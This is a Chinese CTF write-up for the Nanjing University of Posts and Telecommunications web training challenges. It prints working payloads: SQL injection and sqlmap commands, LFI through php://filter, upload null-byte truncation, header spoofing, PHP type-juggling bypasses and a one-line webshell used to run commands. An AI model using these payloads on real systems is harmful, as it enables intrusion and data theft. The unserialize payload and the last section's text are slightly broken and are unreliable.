南郵ctf-web題解
今年有空搞搞ctf,看看能從這個南郵的訓練題學到點東西不。
簽到題
直接右鍵查看源碼即可getflag
md5 collision
源碼
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
此處利用的是php弱類型的特點,== 在進行比較的時候,會先將字符串類型轉化成相同,再比較,例如"admin"0 比較的時候,會將admin轉化成數值,強制轉化,由於admin是字符串,轉化的結果為0。"1admin"1 比較的時候會將1admin轉化成數值,結果為1,而“admin1“1 卻等於錯誤,也就是"admin1"被轉化成了0。
"0e123456""0e456789"相互比較的時候,會將0e這類字符串識別為科學技術法的數字,0的無論多少次方都是零,所以相等。
當一個字符串欸當作一個數值來取值,其結果和類型如下:如果該字符串沒有包含'.','e','E'並且其數值值在整形的范圍之內 該字符串被當作int來取值,其他所有情況下都被作為float來取值,該字符串的開始部分決定了它的值,如果該字符串以合法的數值開始,則使用該數值,否則其值為0。
0e開頭的md5字符串:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
所以可以直接通過如下payload得到flag:
http://chinalover.sinaapp.com/web19/?a=s878926199a
簽到2
直接修改maxlength="99999",然后輸入zhimakaimen,即可getflag:
這題不是WEB
題目描述:真的,你要相信我!這題不是WEB
直接將頁面的2.gif圖片下載,然后使用winhex打開,搜索ctf即可得到flag:
層層遞進
<iframe>標簽中跟着鏈接依次訪問嵌套的SO.html -> S0.html->SO.htm ->S0.htm->404.html ,在404.html注釋中找到flag
AAencode
題目提示:javascript aaencode
打開以后亂碼,使用火狐瀏覽器的Unicode編碼(f10>查看>文字編碼>unicode)即可恢復頁面。
直接丟進控制台執行即可得到flag:
nctf{javascript_aaencode}
單身二十年
題目提示:這題可以靠技術也可以靠手速!老夫單身二十年,自然靠的是手速!
直接使用burpsuite攔截包,然后發送即可getflag。
php decode
題目給出如下代碼:
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
因為CLsI()函數返回的是一串字符串,而eval()函數是執行函數,所以將eval改為echo即可。
<?php
function CLsI($ZzvSWE) {
$ZzvSWE = gzinflate(base64_decode($ZzvSWE));
for ($i = 0; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
}
return $ZzvSWE;
}
echo(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>
文件包含
tips: 沒錯 這就是傳說中的LFI
可以使用如下payload直接讀取index.php的源碼即可,得到index.php的源碼(此源碼進過base64加密過了)
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
直接使用python解密即可:
import base64
str = "base64的值"
plantext = base64.b64decode(str).decode('utf-8')
print(plantext)
即可成功得到flag:
關於php的偽協議的應用推薦三篇文章:
http://www.4o4notfound.org/index.php/archives/31/
https://www.cnblogs.com/LittleHann/p/3665062.html
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
單身一百年也沒用
題目描述:是的。。這一題你單身一百年也沒用
flag藏在返回包中,過於簡單:
Download~!
題目描述:想下啥就下啥~別下音樂,不騙你,試試下載其他東西~
此題目無法訪問。
COOKIE
題目提示:COOKIE就是甜餅的意思~
TIP: 0==not
將cookie中的login=0改為login=1即可成功getflag
MYSQL
題目提示:不能每一題都這么簡單嘛 你說是不是?
根據提示查看robots.txt
別太開心,flag不在這,這個文件的用途你看完了?
在CTF比賽中,這個文件往往存放着提示信息
TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
根據提示信息,我們需要以get方式向sql.php提交一個id,使得intval($_GET[id])
為1024而$_GET[id]==1024
為假。
方式1:傳入id=1024.1,intval()函數會把1024.1取整為1024
方式2:利用intval()函數的特性:只識別到非數字的那一位,而松散比較的強制類型轉換會把e當作科學記數法的一部分處理,即科傳入id=1024e1
GBK Injection
根據標題,明顯是寬字節注入,下面簡單介紹手工注入和sqlmap寬字節注入的兩種方式:
手工注入:
#判斷列
1, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 2--+
#判斷回顯字段
2, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,2--+
#查詢當前數據庫
3, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()--+
#查詢所有數據庫
4, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(schema_name) from information_schema.schemata--+
#查詢當前數據庫下的所有表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
#查詢ctf4表下的字段名,此處ctf4轉換為了16進制(ASCii->hex可以使用bp自帶編碼)
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634--+
#獲取flag字段的值:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(flag) from `sae-chinalover`.ctf4--+
#由於再當前庫,也可以直接指定表明即可:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(flag) from ctf4--+
sqlmap注入
方式1:
#使用--tamper=unmagicquotes
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1" --tamper=unmagicquotes -D sae-chinalover -T ctf4 -C flag --dump --hex
/x00
題目描述:題目有多種解法,你能想出來幾種?
題目源碼:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必須輸入數字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '騷年,繼續努力吧啊~';
}
此題利用的是ereg函數和strpos的漏洞。
ereg函數漏洞:
1,遇到%00則默認字符串結束
2,碰到參數是數組的返回為null,null不等於false
strpos函數漏洞
strpos函數也是只解析string類型的字符串,給他個數組就不知道如何解析,於是就返回為null。Null不等於false
推薦文章:https://blog.51cto.com/12332766/2149184
所以綜上所述,此題解法有兩種,給出payload:
payload1:
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu
payload2:
http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=1
bypass again
題目描述:依舊是弱類型
題目源碼:
if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}
此題的解法依舊有兩種:
payload1:
http://chinalover.sinaapp.com/web17/index.php?a[]=1&b[]=2
payload2:
http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a
變量覆蓋
題目描述:聽說過變量覆蓋么?
題目關鍵代碼:
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php
echo $theflag; ?></code>
</div>
<?php
} ?>
<?php
} ?>
extract()函數存在變量覆蓋漏洞,可以直接post兩個參數,pass和thepassword_123並且使得其值都相等即可。
PHP是世界上最好的語言
題目描述:聽說PHP是世界上最好的語言
鏈接掛了
參考網上的wp:
index.php主要源代碼:
<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
eregi()函數判斷id是否為hackerDJ,大小寫敏感。網頁會拒絕任何含有hackerDJ
的提交(忽略大小寫),但接受urldecode后為hackerDJ
的字符串。
因為url在傳入后台時會自動先進行一次url解碼,所以這里需要二次編碼
hackerDJ
url編碼后為%68%61%63%6b%65%72%44%4a
二次編碼后為%2568%2561%2563%256b%2565%2572%2544%254a
其中%25是%的url編碼。
偽裝者
題目描述:這是一個到處都有着偽裝的世界
服務端代碼錯了。此題考察的是ip偽造,ip偽造常用方法:
X-Forwarded-For:
X-Forwarded-Host:
X-Client-IP:
X-remote-IP:
X-remote-addr:
True-Client-IP:
X-Client-IP:
Client-IP:
X-Real-IP:
Header
題目提示: 頭啊!!頭啊!!!
鏈接掛了。
上傳繞過
題目提示: 猜猜代碼怎么寫的
1.文件系統0x00截斷
在上傳的時候,當文件系統讀到【0x00】時,會認為文件已經結束。利用00截斷就是利用程序員在寫程序時對文件的上傳路徑過濾不嚴格,產生0x00上傳截斷漏洞。通過抓包截斷將【evil.php.jpg】后面的一個【.】換成【0x00】。在上傳的時候,當文件系統讀到【0x00】時,會認為文件已經結束,從而將【evil.php.jpg】的內容寫入到【evil.php】中,從而達到攻擊的目的。 (0x00是16進制值,不可見。)
繞過姿勢:首先在如下圖將/upload/修改為/upload/1.php+
然后在16進制編輯器中,找到該位置的2b修改為00:如下圖:
然后發送該包,即可成功getflag。
SQL注入1
題目描述:聽說你也會注入?
題目源碼:
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>
此題考察簡單的sql注入漏洞,直接使用如下payload即可成功getflag:
post:
user=admin')#
pass=admin
pass check
題目源碼:
$pass=@$_POST['pass'];
$pass1=***********;//被隱藏起來的密碼
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>
此題考察的是strcmp函數的漏洞:
函數介紹:
定義用法:
Strcmp(string1,string2)函數比較兩個字符串
返回值:
0 - 如果兩個字符串相等
<0 - 如果 string1 小於 string2
>0 - 如果 string1 大於 string2
漏洞點:
處理數組的時候返回null
傳遞數組的時候,函數沒有辦法比較數組,返回null,php語言本身就是弱類型的語言,null不等於0
所以此題可以直接post如下參數getflag:pass[]=0
起名字真難
源碼:
<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
此題需要使得key的值不為1-9之間的數字,但是又要求其值等於54975581388,將其十進制值轉換為十六進制剛好為:ccccccccc,因此直接傳入key=0xccccccccc即可成功getflag:
密碼重置
題目描述:重置管理員賬號:admin 的密碼,你在點擊忘記密碼之后 你的郵箱收到了一封重置密碼的郵件
打開url發現user1的參數是經過base64編碼的,解密為ctfuser,我們只需要把admin經過base64編碼,然后傳給user1,在將input標簽的readonly屬性去掉,即可將ctfuser用戶修改為admin用戶,成功修改admin用戶的密碼,即可成功getflag:
php 反序列化(暫時無法做)
題目源碼:
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
構造payload:
<?php
class just4fun {
var $enter;
var $secret;
}
$a =new just4fun();
$f->enter=&$f->secret;
$sf = serialize($f);
echo $sf;
?>
輸出如下:
O:8:"stdClass":2:{s:6:"secret";N;s:5:"enter";R:2;}
直接將上述payload賦值給pass即可getflag。
SQL Injection
題目描述:繼續注入吧! TIP:反斜杠可以用來轉義 仔細查看相關函數的用法
主要源碼:
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->
可以采用如下閉合方式:
SELECT * FROM users WHERE name=' username ' AND pass=' password ';
即使得
username=\
password=or 1=1--+
最后拼接結果:
SELECT * FROM users WHERE name=' \' AND pass=' or 1=1--+ ';
即使用反斜杠將單引號轉義,使得name= \' AND pass=
,則可以成功注入。
即最終payload如下:
http://chinalover.sinaapp.com/web15/index.php?username=\&password=or 1=1--+
綜合題
1,首先打開url得到一串jsfuck編碼的字符串如下:
2,直接復制到控制台執行即可,得到如下字符串:
3,訪問該php文件:
4,得到提示,tip在header中,查看header,發現tip:history of bash
通常在用戶的目錄下面有一個.bash_history文件,該文件記錄着用戶的歷史命令,我們可以通過dirsearch掃描發現該敏感文件,也可以直接訪問該文件即可:
5,訪問該文件,得到如下信息,即用戶曾經進行過flag的備份:zip -r flagbak.zip ./*
:
6,直接下載flagbak.zip文件,即可得到flag.txt。
SQL注入2
題目提示:注入第二題~~主要考察union查詢
題目源碼:
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
使用union select 進行注入:
#另該語句將會使得v01cano的md5值賦值給pw,即5717445c83e6944fa37ab2f19616e033是v01cano的md5。
user=v01cano' union select '5717445c83e6944fa37ab2f19616e033'#&pass=v01cano
綜合題2
首先查看源碼,訪問:http://cms.nuptzj.cn/about.php?file=sm.txt
發現此處的文件讀取漏洞:使用php偽協議讀取文件源碼:
payload如下:
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=index.php
寫了個簡易的腳本,將index.php,about.php等php文件讀取,並且報存。
import requests
from bs4 import BeautifulSoup
import bs4
import base64
download = ["about.php", "index.php", "so.php", "preview.php", "antiinject.php"]
def gethtml(url):
try:
res = requests.get(url)
if res.status_code == 200:
res.encoding = res.apparent_encoding
return res.text
else:
return None
except:
return None
def parsehtml(html):
try:
soup = BeautifulSoup(html, 'lxml')
if isinstance(soup.select('body')[0], bs4.element.Tag):
str = soup.select('body')[0].string
str1 = base64.b64decode(str).decode('utf-8')
return str1
else:
return None
except:
return None
if __name__ == '__main__':
for i in range(0, len(download)):
html = gethtml("http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource={}".format(download[i]))
with open(download[i], 'a') as f:
if parsehtml(html)== None:
print(html, "文件為空")
else:
f.write(parsehtml(html))
然后觀察各個文件,從about.php文件中觀察到后台登錄目錄:loginxlcteam
直接訪問即可:
http://cms.nuptzj.cn/loginxlcteam/index.php
觀察到so.php存在sql注入漏洞:
so.php代碼如下:
<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才可以用喔~';
exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能連接到數據庫!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br /> '.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
發現id參數經過了antiinject.php中的antiinject函數過濾。
查看antiinject.php內容:
<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
$info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>
發現空格,union,select等關鍵字都被地換成空了,不過此處關鍵字可以通過雙寫繞過,例如將union變為ununionion,空格可以通過注釋繞過/**/
。
此處還需要記得將User-Agent修改為Xlcteam Browser,即可對soid參數進行注入:
此題需要同時繞過空格過濾和關鍵字過濾。本可以使用腳本:
nonrecursivereplacement.py:
關鍵字雙寫,可用於關鍵字過濾
space2comment.py:
用 /**/ 替代空格,用於空格的繞過
使用如下腳本無法進行注入:原因:sqlmap不能同時使用多個tamper進行替換,tamper有一個優先級的問題,例如如下兩個tampper,nonrecursivereplacement的優先級為PRIORITY.NORMAL,space2comment的優先級為:PRIORITY.LOW
即:nonrecursivereplacement優先級高於space2comment,優先執行,執行完成后,再嘗試space2comment腳本,而無法實現同時替換空格和雙寫。故如下腳本無法成功執行。
python2 sqlmap.py -u "http://cms.nuptzj.cn/so.php" --data="soid=1" --tamper="space2comment,nonrecursivereplacement" --user-agent="Xlcteam Browser" --dbs --dbms=mysql
手工注入代碼如下:
1,首先猜測字段數:
有查詢結果
soid=1/**/oorrdoorrderer/**/by/**/4
無查詢結果
soid=1/**/oorrdoorrderer/**/by/**/5
猜測字段數為4
2,判斷回顯位置:
soid=100/**/uunionnion/**/seselectlect/**/1,2,3,4
得出回顯字段為2和3,返回結果如下:
3,爆出當前數據庫為:sae-exploitblog
soid=100/**/uunionnion/**/seselectlect/**/1,2,database(),4
4,最后使用注入語句注入出用戶名和密碼:
soid=100/**/uunionnion/**/seselectlect/**/1,(seleselectct/**/usernanameme/**/frofromm/**/adadminmin),(seleselectct/**/userpapassss/**/frofromm/**/adadminmin),4
5,得到經過加密了的密碼:102 117 99 107 114 117 110 116 117
6,回頭看看提示:
http://cms.nuptzj.cn/about.php?file=sm.txt
發現passencode.php文件提示:讀取該文件:
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=passencode.php
代碼如下:
<?php
function passencode($content) {
//$pass=urlencode($content);
$array=str_split($content);
$pass="";
for ($i=0;$i<count($array);$i++) {
if($pass!="") {
$pass=$pass." ".(string)ord($array[$i]);
} else {
$pass=(string)ord($array[$i]);
}
}
return $pass;
}
根據代碼寫出解密腳本如下:
str = '102 117 99 107 114 117 110 116 117'
array = str.split(' ')
password = ""
for i in range(0, len(array)):
password = password + chr(int(array[i]))
print(password)
得出密碼為:fuckruntu
7,使用用戶名admin和密碼fuckruntu登錄該系統
8,得到提示,在文件根目錄下面存在小馬:xlcteam.php
利用文件讀取漏洞將其讀出:
http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=xlcteam.php
得到源碼如下:
<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '/.*/e',);
array_walk($arr, $e, '');
?>
9,利用一句話小馬執行命令,得到flag:
url:
http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
post:
wtf=print_r(scandir('./'))
10,直接訪問恭喜你獲得flag2.txt即可成功得到flag:
下面自己寫個腳本:
http://codeqi.top/2018/06/01/南郵攻防訓練平台Writeup/
https://rmb122.com/2018/05/18/nctf-writeup/
https://pengyang.me/2018/08/19/nctfzh2/
https://foxgrin.github.io/posts/7108/#SQL注入1
https://www.smi1e.top/sqlmap-tamper編寫/
密碼重置2
題目提示:題題被秒,當時我就不樂意了! 本題來源於CUMT
TIPS: 1.管理員郵箱觀察一下就可以找到 2.linux下一般使用vi編輯器,並且異常退出會留下備份文件 3.弱類型bypass
1,根據提示1,查看源碼即可發現管理員郵箱:admin@nuptzj.cn
2,根據提示2,可以獲得.submit.php.swp文件,文件內容如下:
........這一行是省略的代碼........
/*
如果登錄郵箱地址不是管理員則 die()
數據庫結構
--
-- 表的結構 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
--
-- 轉存表中的數據 `user`
--
INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可見***', '***不可見***', 0);
*/
........這一行是省略的代碼........
if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!='0') die('fail');
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失敗了呀";
}
}
3,得到flag需要使得token的長度為10並且token等於0,有兩種繞過方式,第一種就是根據提示3,利用php弱類型的特點,在進行強制類型轉換時候會將0e開頭的數字串當作科學計數法,0的任何次方依舊是0,所以傳值token=0e99999999即可繞過。也可以傳值token=0000000000進行繞過。
file_get_contents
題目主要代碼:
<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
echo $nctf;
}-->
直接給出payload:
http://chinalover.sinaapp.com/web23/index.php?file=php://input
post:
meizijiu
這題使用bp提交沒有用,我也不知道為啥,用postman提交就ok。
變量覆蓋
題目提示:變量覆蓋,代碼審計類題目
源碼:
<!--foreach($_GET as $key => $value){
$$key = $value;
}
if($name == "meizijiu233"){
echo $flag;
}-->
直接賦值即可getflag:
name=meizijiu233
此題考察變量覆蓋漏洞,首先將name取出,賦值給\(key,則\)\(key=\)name,
將meizijiu233的值取出,賦值給\(value,然后\)\(key=\)value即可成功將使得$name=meizijiu223即可得到flag。